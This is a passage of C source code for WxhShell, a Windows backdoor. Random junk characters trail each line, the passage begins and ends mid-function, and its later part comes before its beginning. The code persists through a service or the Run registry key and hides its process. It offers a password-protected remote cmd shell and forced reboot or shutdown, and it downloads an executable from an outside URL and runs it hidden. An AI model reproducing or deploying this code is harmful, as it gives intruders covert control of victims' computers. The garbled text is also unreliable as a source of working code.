    } 5k7(!  
  // 关机 p;QX"2  
  case 'd': { KWuj_.;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4d3]pvv  
    if(Boot(SHUTDOWN)) N6m*xxI{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QWQ6j#`  
    else { .of:#~  
    closesocket(wsh);  kAe-d  
    ExitThread(0); @gVyLefS6g  
    } yZPFo  
    break; eABdy e  
    } piM11W}|/  
  // 获取shell HDae_.  
  case 's': { ~ dI&> CL  
    CmdShell(wsh); 7.1E mJ  
    closesocket(wsh); Y_ ;i  
    ExitThread(0); N~K)0RETn  
    break; B,na  
  } p/^\(/\])  
  // 退出 =D"63fP1  
  case 'x': { Nz;*;BQK:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~9ls~$+*  
    CloseIt(wsh); i:N^:%  
    break; # *aGzF  
    } y2hFUq  
  // 离开 %Fm;LQa ]  
  case 'q': { ZK_@.O+]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GWE0 UO}  
    closesocket(wsh); ~FrkLP  
    WSACleanup(); D"XQ!1B%  
    exit(1); 1AkHig,  
    break;  3usA  
        } $Aoqtz d\  
  } 4JQ`&:?r  
  } O0*L9C/Q  
E#F9<=mA)  
  // 提示信息 )B5gs%u]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i}{Q\#=#  
} 3&Zx*:  
  } 8!`.%)- 4  
]f @LhC1x  
  return; 1,!\7@<CT  
} +=04X F:  
W>s9Mp  
// shell模块句柄 ?-&D'  
int CmdShell(SOCKET sock) Z/UVKJm>:  
{ 3EX&.OL!  
STARTUPINFO si; #$rT 4N c;  
ZeroMemory(&si,sizeof(si)); tZ24}~da  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QN8Hz/}\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tSLl'XeN  
PROCESS_INFORMATION ProcessInfo; f]65iE?x  
char cmdline[]="cmd"; ew ,edU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .vF< 3p|  
  return 0; -#M~Nb I,  
} [|O6n"'  
fv'P!+)t  
// 自身启动模式 M\4;d #  
int StartFromService(void) $5(%M8qmQ  
{ _rh.z_a7w  
typedef struct vszAr( t  
{ zd]L9 _  
  DWORD ExitStatus; eL4@% ]o  
  DWORD PebBaseAddress; ,/U 9v~  
  DWORD AffinityMask; n.>'&<H>9  
  DWORD BasePriority; Z"KuS  
  ULONG UniqueProcessId; [zd-=.:+M[  
  ULONG InheritedFromUniqueProcessId; < l ^ Z;.  
}   PROCESS_BASIC_INFORMATION; }H^^v[4  
q)i(wEdUZ  
PROCNTQSIP NtQueryInformationProcess; 9@+X?Nhv5  
")buDU6_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w' >v@`y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7B :aJfxM  
oob0^}^  
  HANDLE             hProcess; /Loe y   
  PROCESS_BASIC_INFORMATION pbi; }=4".V`-o  
BJr Nbo;T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /aEQ3x  
  if(NULL == hInst ) return 0; dPX>A4wp  
{<BK@U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F+r6/e6a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $QnfpM%+=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !+l, m8Hly  
tTamFL6  
  if (!NtQueryInformationProcess) return 0; WR1,J0UU6  
h:90K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >GRuS\B  
  if(!hProcess) return 0; [! BH3J!  
i*>yUav"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U\6DEnII?!  
J z b".A  
  CloseHandle(hProcess); o`0H(\en  
yh<aFYdk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @ U|u _S@  
if(hProcess==NULL) return 0; ^Y |s^N  
$sJfxh r  
HMODULE hMod; q;JQs:U!  
char procName[255]; WKML#U]5T  
unsigned long cbNeeded; h^,a 1'  
H_]kR&F8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gV BV@v!W  
"(GeW286k  
  CloseHandle(hProcess); @su,w,xLS  
" Xc=<rX  
if(strstr(procName,"services")) return 1; // 以服务启动 h08T Q=n  
G= e[TR)i  
  return 0; // 注册表启动 9m4|1)  
} i=@*F$,  
471}'3  
// 主模块 Y.J$f<[R  
int StartWxhshell(LPSTR lpCmdLine) ^` THV  
{ ^<-SW]x  
  SOCKET wsl; gw:BKR'o  
BOOL val=TRUE; ipG+qj/=  
  int port=0; IZLX[y  
  struct sockaddr_in door; 8pk">"#s  
\)*qW[C$a  
  if(wscfg.ws_autoins) Install(); x`&W[AA4  
_45"Z}Zx  
port=atoi(lpCmdLine); aL}_j#m{  
mMH0 o  
if(port<=0) port=wscfg.ws_port; 4<|]k?@  
C 4,W[L]4"  
  WSADATA data; A\>qoR!Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '"Gi&:*nQ<  
/<~IKVz\&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T28#?Lp6]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KV2X[1  
  door.sin_family = AF_INET; KC'{>rt7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3;A AC (X  
  door.sin_port = htons(port); IV76#jL  
4[D@[k As  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kmwFw>#  
closesocket(wsl); :s\s3#?  
return 1; *&s_u)b  
} :v`o="  
hI$an%Y(  
  if(listen(wsl,2) == INVALID_SOCKET) { A]1](VQ)4  
closesocket(wsl); oVdmgmT.Y  
return 1; udMq>s;  
} ~p&sd)  
  Wxhshell(wsl); DwPl,@T_i\  
  WSACleanup(); t V</ x0#  
%0 S0"t  
return 0; kN )P-![  
c ;VW>&,B  
} r?{tBju^  
gO29:L[t  
// 以NT服务方式启动 6v-h!1p{u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d}1R<Q;F  
{ *`[LsG]ZF  
DWORD   status = 0; &12.|  
  DWORD   specificError = 0xfffffff; iVE+c"c!2&  
$4m{g"xL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0oD?4gn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qbjRw!2?w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Xh5 z8  
  serviceStatus.dwWin32ExitCode     = 0; >Gkkr{s9  
  serviceStatus.dwServiceSpecificExitCode = 0; 7+fFKZFKF  
  serviceStatus.dwCheckPoint       = 0; 'j|;M  
  serviceStatus.dwWaitHint       = 0; AyddkjX  
d:3G4g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yA~W|q(/V  
  if (hServiceStatusHandle==0) return; Y:O%xtGi  
BQsy)H`4E  
status = GetLastError(); b1-JnEc  
  if (status!=NO_ERROR) 1Ypru<.)W  
{ 6u7>S?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YQ&Xd/z-  
    serviceStatus.dwCheckPoint       = 0; $%LjIeVA5  
    serviceStatus.dwWaitHint       = 0; bx1'  
    serviceStatus.dwWin32ExitCode     = status; dLLF#N  
    serviceStatus.dwServiceSpecificExitCode = specificError; -Y D6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IL\#!|>  
    return; %A04'dj`zQ  
  } Gt'%:9r  
dAR):ZKq?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u>}k+8~  
  serviceStatus.dwCheckPoint       = 0; jlItPd C v  
  serviceStatus.dwWaitHint       = 0; H'GyWG|Wx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DJhi>!xJ  
} +`zM^'^$  
%c):^;6p  
// 处理NT服务事件,比如:启动、停止 ~nw]q<7r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V#zDYrp  
{ \xwE4K  
switch(fdwControl) *:wu{3g}M`  
{ C*=#=.~~{  
case SERVICE_CONTROL_STOP: s/8>(-H#  
  serviceStatus.dwWin32ExitCode = 0; IWX%6*Zz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wUab)L  
  serviceStatus.dwCheckPoint   = 0; vk&C'&uV9@  
  serviceStatus.dwWaitHint     = 0; ~]3y66 7  
  { >O?5mfMK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0@vSl%I+  
  } YvRMUT  
  return; qhc3 oRe  
case SERVICE_CONTROL_PAUSE: mJp)nF8r~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qdWsP9}q  
  break; VU9w2/cM  
case SERVICE_CONTROL_CONTINUE: "aHA6zTB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zQ&`|kS  
  break; 6"b =aPTi  
case SERVICE_CONTROL_INTERROGATE: <J!#k@LY]7  
  break; n]jZ2{g+   
}; \hoYQK j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  $ac VJI?  
} _gxI=EYi  
q3<Pb,Z  
// 标准应用程序主函数 e4ym6q<6!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -AWL :<  
{ RX3P %xZ  
Z(k7&^d  
// 获取操作系统版本 kdcr*7w  
OsIsNt=GetOsVer(); wGr5V!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~ (I'm[  
*EY^t=  
  // 从命令行安装 ckG`^<  
  if(strpbrk(lpCmdLine,"iI")) Install(); =^#^Mq)  
))JbROBU,  
  // 下载执行文件 e:#c\Ay+  
if(wscfg.ws_downexe) { kwF4I )6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J=Q?_$xb}  
  WinExec(wscfg.ws_filenam,SW_HIDE); KG=h!]Meq  
} lB3@ jF  
g:V8"'  
if(!OsIsNt) { ?Zu2=<DU  
// 如果时win9x,隐藏进程并且设置为注册表启动 f sRRnD  
HideProc(); rXgU*3 RG  
StartWxhshell(lpCmdLine); csABfxib  
} X} <p|P+  
else a$-:F$z  
  if(StartFromService()) `IN/1=]5  
  // 以服务方式启动 anxZ|DE  
  StartServiceCtrlDispatcher(DispatchTable); G>Uam TM  
else A"ApWJ3  
  // 普通方式启动 fg}&=r  
  StartWxhshell(lpCmdLine); JWzN 'a R  
Teo&V  
return 0; nZ7FG  
} *%6NuZ  
iY_E"$}P  
lyZ[t PS  
?2LRMh")$  
=========================================== >Z-f</v03  
vQK*:IRKK  
Pi7IBz  
(4ueO~jb $  
ZoFQJJK56B  
r92C^h0  
" 3"9'MDKH  
UTT7a"  
#include <stdio.h> (`nn\)  
#include <string.h> C B&$tDi  
#include <windows.h> %#g9d  
#include <winsock2.h> X"'c2gaa_  
#include <winsvc.h> 7NG^I6WP-  
#include <urlmon.h> "j(?fVx  
q].n1w [  
#pragma comment (lib, "Ws2_32.lib") n+Bh-aV  
#pragma comment (lib, "urlmon.lib") 5 *w a  
ah1DuTT/G  
#define MAX_USER   100 // 最大客户端连接数 7J:zIC$u>  
#define BUF_SOCK   200 // sock buffer iPnu *29  
#define KEY_BUFF   255 // 输入 buffer "w0[l"3 V  
)}{V#,xz@  
#define REBOOT     0   // 重启 -&3WN!egq  
#define SHUTDOWN   1   // 关机 _4H}OGZI  
Ujw J}j  
#define DEF_PORT   5000 // 监听端口 6L`{oSX!  
)qi/>GR,  
#define REG_LEN     16   // 注册表键长度 Mwm=r//  
#define SVC_LEN     80   // NT服务名长度 HkH!B.H]  
oSDx9%  
// 从dll定义API ~[E@P1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +}MV$X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q"2t :  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,<,ige  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =e<;B_ ~.  
GQZLOjsop  
// wxhshell配置信息 {u/G!{N$  
struct WSCFG { 1Tn0$+$.4  
  int ws_port;         // 监听端口 J|ni'Hb  
  char ws_passstr[REG_LEN]; // 口令 q;Y9_5S  
  int ws_autoins;       // 安装标记, 1=yes 0=no X<6Ro es2  
  char ws_regname[REG_LEN]; // 注册表键名 /hC[>t<  
  char ws_svcname[REG_LEN]; // 服务名 7.-g=Rcz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]}K\&ho2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \ow3_^Bk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QH_0U`3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a,B2;4"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hWzjn5w3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  8(.DI/  
_.Ey_K_1  
}; T?p' R  
AixQR[Ul*c  
// default Wxhshell configuration 41pk )8~pt  
struct WSCFG wscfg={DEF_PORT, Cfizh@<  
    "xuhuanlingzhe", 6mFH>T*jzH  
    1, +Lq;0tRC  
    "Wxhshell", ||{V*"+\  
    "Wxhshell", uVO*@Kj+  
            "WxhShell Service", Jd].e=]pN  
    "Wrsky Windows CmdShell Service", =44hI86  
    "Please Input Your Password: ", ! 11x&Db  
  1, mp^;8??;  
  "http://www.wrsky.com/wxhshell.exe", w"-'  
  "Wxhshell.exe" ZcTxE]Y  
    }; M?61g(  
o6H\JCne  
// 消息定义模块 =y5~7&9'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P)7_RE*gY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @;T>*_Yhn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a$Lry?pb  
char *msg_ws_ext="\n\rExit."; C'iJFf gR  
char *msg_ws_end="\n\rQuit."; 9u3~s <  
char *msg_ws_boot="\n\rReboot..."; 6 (:^>@  
char *msg_ws_poff="\n\rShutdown..."; UV?.KVD~  
char *msg_ws_down="\n\rSave to "; 0YMmWxV  
|!0R"lv'u  
char *msg_ws_err="\n\rErr!"; k\:f2%!!  
char *msg_ws_ok="\n\rOK!"; k+(UpO=/*  
=:fFu,+{  
char ExeFile[MAX_PATH]; l\vvM>#S  
int nUser = 0; c$<7&{Pb  
HANDLE handles[MAX_USER]; %h "+J  
int OsIsNt; 8QFn/&Ql$B  
T<p,KqH  
SERVICE_STATUS       serviceStatus; :+1S+w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wH:'5+u:6  
QK+s}ny  
// 函数声明 Sa V]6/|  
int Install(void); 8"C;I=]8  
int Uninstall(void); ` ]*KrY  
int DownloadFile(char *sURL, SOCKET wsh); 8}Pd- .se  
int Boot(int flag); =y3gnb6  
void HideProc(void); 3@k;"pFa<  
int GetOsVer(void); kNX(@f  
int Wxhshell(SOCKET wsl); V^qZ~US  
void TalkWithClient(void *cs); G\ twx ;  
int CmdShell(SOCKET sock); 97H2hYw9l  
int StartFromService(void); Sb&sW?M  
int StartWxhshell(LPSTR lpCmdLine); 'E/vE0nN?  
ulnG|3A9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5t$ZEp-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E6);\SJG}  
GHQa{@m2V  
// 数据结构和表定义 AJRfl%3  
SERVICE_TABLE_ENTRY DispatchTable[] = LK8K=AA3P  
{ ;SBM7fwRk  
{wscfg.ws_svcname, NTServiceMain}, 9R XT  
{NULL, NULL} c;,jb  
}; *iSsGb\M%  
[CH%(#>i~  
// 自我安装 uJ S+;H  
int Install(void) =,D3e+P'  
{ H'uRgBjWJ  
  char svExeFile[MAX_PATH]; Pnb?NVP!^9  
  HKEY key; \h6_m)*H4  
  strcpy(svExeFile,ExeFile); V Iof4?i  
YaTJKgi"0  
// 如果是win9x系统,修改注册表设为自启动 LC5NB{b\%>  
if(!OsIsNt) { M9MfO*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]Mv.Rul?~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UzVnC:  
  RegCloseKey(key); E<>Ev_5>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { imdfin?=   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qyMR0ai-  
  RegCloseKey(key); C& 0iWY\a  
  return 0; < C\snB  
    } &Y"u*)bm  
  } D_,}lsrb  
} -yt[0  
else { H"4^  
P@ '<OI  
// 如果是NT以上系统,安装为系统服务 #RoGyrLo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s OD>mc#%Y  
if (schSCManager!=0) &1:xY.Zs_  
{ %n`wU-?lK  
  SC_HANDLE schService = CreateService x|l[fdm5  
  ( tk4~ 8  
  schSCManager, I%(`2 rD8G  
  wscfg.ws_svcname, //VgPl  
  wscfg.ws_svcdisp, rmc0dm&l]  
  SERVICE_ALL_ACCESS, sHO6y0P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1R)4[oYN\<  
  SERVICE_AUTO_START, HK>!%t0S  
  SERVICE_ERROR_NORMAL, h^ ex?  
  svExeFile, +)Tt\Q%7  
  NULL, i'|rx2]e  
  NULL, ppIMaP  
  NULL,  ^G{3x  
  NULL, m sS5"Qr  
  NULL KumbG>O  
  ); $trvNbco  
  if (schService!=0) zYfn;s%A  
  { 6/B"H#rN  
  CloseServiceHandle(schService); PgAC3%M6  
  CloseServiceHandle(schSCManager); 17[7)M88  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %..{c#V  
  strcat(svExeFile,wscfg.ws_svcname); U<fe 'd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qsXK4`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1HxE0>  
  RegCloseKey(key); o~H4<ayy  
  return 0; yWsV !Ub  
    } iZGc'y  
  } }s{RW<A  
  CloseServiceHandle(schSCManager); tsR\c O~/  
} W!4(EdT*Cq  
} roYoxF;\  
t8 g^W K  
return 1; ac6Lv}w_  
} g@hg u   
*A.E?9pL\  
// 自我卸载 i]gF 6:&  
int Uninstall(void) ['j_W$8n  
{ F`-|@k  
  HKEY key; Ej>5PXp'2  
Y!* \=h6h  
if(!OsIsNt) { }5-^:}gL   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $J&ww P[  
  RegDeleteValue(key,wscfg.ws_regname); =xScHy{$  
  RegCloseKey(key); 'S\YNLqQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |H 0+.f;  
  RegDeleteValue(key,wscfg.ws_regname); ,  A?o  
  RegCloseKey(key); EaGh`*"w(7  
  return 0; J4!Om&\@  
  } 6f/>o$  
} !mH2IjcL  
} TWkuR]5  
else { 1?sR1du,  
)?RR1P-ID  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #jn6DL@[{  
if (schSCManager!=0) @SeE,<  
{ YpMQY-n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?khwupdi  
  if (schService!=0) 833KU_ N  
  { >7. $=y8b  
  if(DeleteService(schService)!=0) { syhTOhOX  
  CloseServiceHandle(schService); <X~ X#9V  
  CloseServiceHandle(schSCManager); lx,^Y 647  
  return 0; 6[>UF!.=  
  } fl>*>)6pm  
  CloseServiceHandle(schService); :J` *@cDn  
  } ]@_M)[ x  
  CloseServiceHandle(schSCManager); rCqcl  
} 'aMT^w4if)  
} Wo&10S w  
\tE2@  
return 1; v[WbQ5AND  
} ;hU56lfZ)X  
1~NXCIdF  
// 从指定url下载文件 Vvu+gP'z.  
int DownloadFile(char *sURL, SOCKET wsh) !~PLW]Z4  
{ 10xo<@l  
  HRESULT hr; BtDi$d%'  
char seps[]= "/"; Qa~dd{?  
char *token; <Okk;rj2  
char *file; m@  b~  
char myURL[MAX_PATH]; aY7kl  
char myFILE[MAX_PATH]; Q|Uq.UjY  
j;@7V4'  
strcpy(myURL,sURL); Rr+Y::E  
  token=strtok(myURL,seps); *+TIF"|1  
  while(token!=NULL) OO5k _J  
  { \Ku6 gEy  
    file=token; g(m3 &  
  token=strtok(NULL,seps); ,p6X3zY  
  } [I:D\)$<  
}TD$ !  
GetCurrentDirectory(MAX_PATH,myFILE); Q)x`'[3"7W  
strcat(myFILE, "\\"); 4h wUH  
strcat(myFILE, file); QHnk@ R!  
  send(wsh,myFILE,strlen(myFILE),0); i~ D,  
send(wsh,"...",3,0); F3[3~r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p|VoIQY  
  if(hr==S_OK) l9 RjxO.~U  
return 0; eKV^ia  
else Z{nJ\`  
return 1; 2)(P;[m^o  
e(E6 t_  
} |NFX"wv:c<  
p\5DW'  
// 系统电源模块 @4dB$QF`&  
int Boot(int flag) Mo`7YS-Y  
{ :=x-b3U  
  HANDLE hToken; P_)h8-!+ $  
  TOKEN_PRIVILEGES tkp; [H$37Hx !  
|KFRC)g  
  if(OsIsNt) { ka3Jqy4[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {X$8yy2zC5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v7"' ^sZ?  
    tkp.PrivilegeCount = 1; +M th+qgw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \A'MEd-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pcIJija:  
if(flag==REBOOT) { S;[g0j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M;*f(JY$  
  return 0; 7+';&2M)n~  
} 7N0V`&}T  
else { sE7!U|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `[x`#irD  
  return 0; F.ml]k&(m  
} "F%w{bf  
  } +:@HJXwK  
  else { q]+'{Ci@  
if(flag==REBOOT) { _IiTB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :X7"fX  
  return 0;   )z#  
} P}B{FIpNG  
else { ?:F#WDD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NU>={9!  
  return 0; {w*5uI%%e  
} D.?Rc'y D  
} gB1w,96J  
`0a=A#]1o  
return 1; z^s/7Va[  
} lJHV c"*/  
sCG[gshq  
// win9x进程隐藏模块 K4938 v  
void HideProc(void) YB{hQ<W  
{ 9&e=s<6dO  
!#P|2>>u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )i@j``P  
  if ( hKernel != NULL ) g_8Bhe"ik  
  {  ;ew j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KDD_WXGt~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F!m/n!YR  
    FreeLibrary(hKernel); ()L[l@m  
  } *`D(drnT{  
#4uuT?!  
return; 3 D<s #  
} ?2h)w=dO  
&K Ti[  
// 获取操作系统版本 +dd\_\  
int GetOsVer(void) !bEy~.  
{ UzZzt$Kw  
  OSVERSIONINFO winfo; I75>$"$<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hrb67a%b  
  GetVersionEx(&winfo); )+ }\NCFh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y"J' 'K  
  return 1; .{,PC  
  else UuDs  
  return 0; p'PHBb8I  
} dN'2;X  
i U3GUsPy  
// 客户端句柄模块 q1C) *8*g  
int Wxhshell(SOCKET wsl) I9JiH,+  
{ 09FHE/L  
  SOCKET wsh; "[W${q+0x  
  struct sockaddr_in client; 9a_B   
  DWORD myID; 0K/?8[#  
[,;h1m ~iX  
  while(nUser<MAX_USER) >^mNIfdE^=  
{ $$my,:nH  
  int nSize=sizeof(client); u#TRm?s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5\hJ&  
  if(wsh==INVALID_SOCKET) return 1; Gwl]sMJ  
4x8e~/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R+}x#  
if(handles[nUser]==0) &OpGcbf1  
  closesocket(wsh); X~ca8!Dq  
else y*i_Ec\h  
  nUser++; []opPQ 1  
  } $"V gN ynq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z@WuKRsi  
;%u'w;sgq  
  return 0; Grot3a  
} -Ucj|9+(a  
>GRL5Iow  
// 关闭 socket gDY+'6m;  
void CloseIt(SOCKET wsh) mM*jdm(!  
{ Yc5{M*w  
closesocket(wsh); IP)?dnwG  
nUser--; 2L=+z1%I  
ExitThread(0); _oOE MQb  
} if|j)h&  
Ww(($e!  
// 客户端请求句柄 !uIT5D  
void TalkWithClient(void *cs) ZHA6BVVT  
{ g~zz[F 8U  
hYm$Sx(=  
  SOCKET wsh=(SOCKET)cs; %O9kq  
  char pwd[SVC_LEN]; V1aWVLltj  
  char cmd[KEY_BUFF]; uU_0t;oR3  
char chr[1]; j/I^\Ms  
int i,j; ' KX'{Gy  
:g1C,M~  
  while (nUser < MAX_USER) { RPb/U8  
gY)NPi}!`  
if(wscfg.ws_passstr) { f T7Z6$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /^#8z(@B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a(!_ 3i@  
  //ZeroMemory(pwd,KEY_BUFF); &4g]#A>@  
      i=0; P=Au~2X  
  while(i<SVC_LEN) { <IiX_*  
ifo^ M]v  
  // 设置超时 `5VEGSP]  
  fd_set FdRead; mkJC *45  
  struct timeval TimeOut; >U.)?>G/dt  
  FD_ZERO(&FdRead); +9 Uo<6}  
  FD_SET(wsh,&FdRead); SV-M8Im73z  
  TimeOut.tv_sec=8; xG802?2i/;  
  TimeOut.tv_usec=0; :n1^Xw0q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7/p&]0w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D{%l 4og  
BvXA9YQ3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ".n,R"EF  
  pwd=chr[0]; /}%$fB  
  if(chr[0]==0xd || chr[0]==0xa) { %t*_Rtz\o  
  pwd=0; j3<|X  
  break; -pWnO9q  
  } 2`D1cX  
  i++; x1g0_&F  
    } gBF2.{"^  
\S]"nHX  
  // 如果是非法用户,关闭 socket z_)`='&n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~/R,oQ1!g}  
} s-\.j-Sa  
=dVPx<l5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PS" ,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \I! C`@0  
6P0\t\D0  
while(1) { m)5,ut/  
+<\)b(  
  ZeroMemory(cmd,KEY_BUFF);  >mk}  
>";I3S-t  
      // 自动支持客户端 telnet标准   WFl, u!"A  
  j=0; ;IN!H@bq  
  while(j<KEY_BUFF) { YQ\c0XG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G5C=p:o{/  
  cmd[j]=chr[0]; lT`y=qR|  
  if(chr[0]==0xa || chr[0]==0xd) { C-vFl[@a0  
  cmd[j]=0; -tQi~Y[]  
  break; .3yoDab  
  } a&'!g)d  
  j++; MF7q*f  
    } AW;ncx;  
8'niew 5d  
  // 下载文件 PRR]DEz  
  if(strstr(cmd,"http://")) { ,YEwz3$5u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `R9}.?7  
  if(DownloadFile(cmd,wsh)) V^v?;f?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .(RX;.lw  
  else anM]khs?  
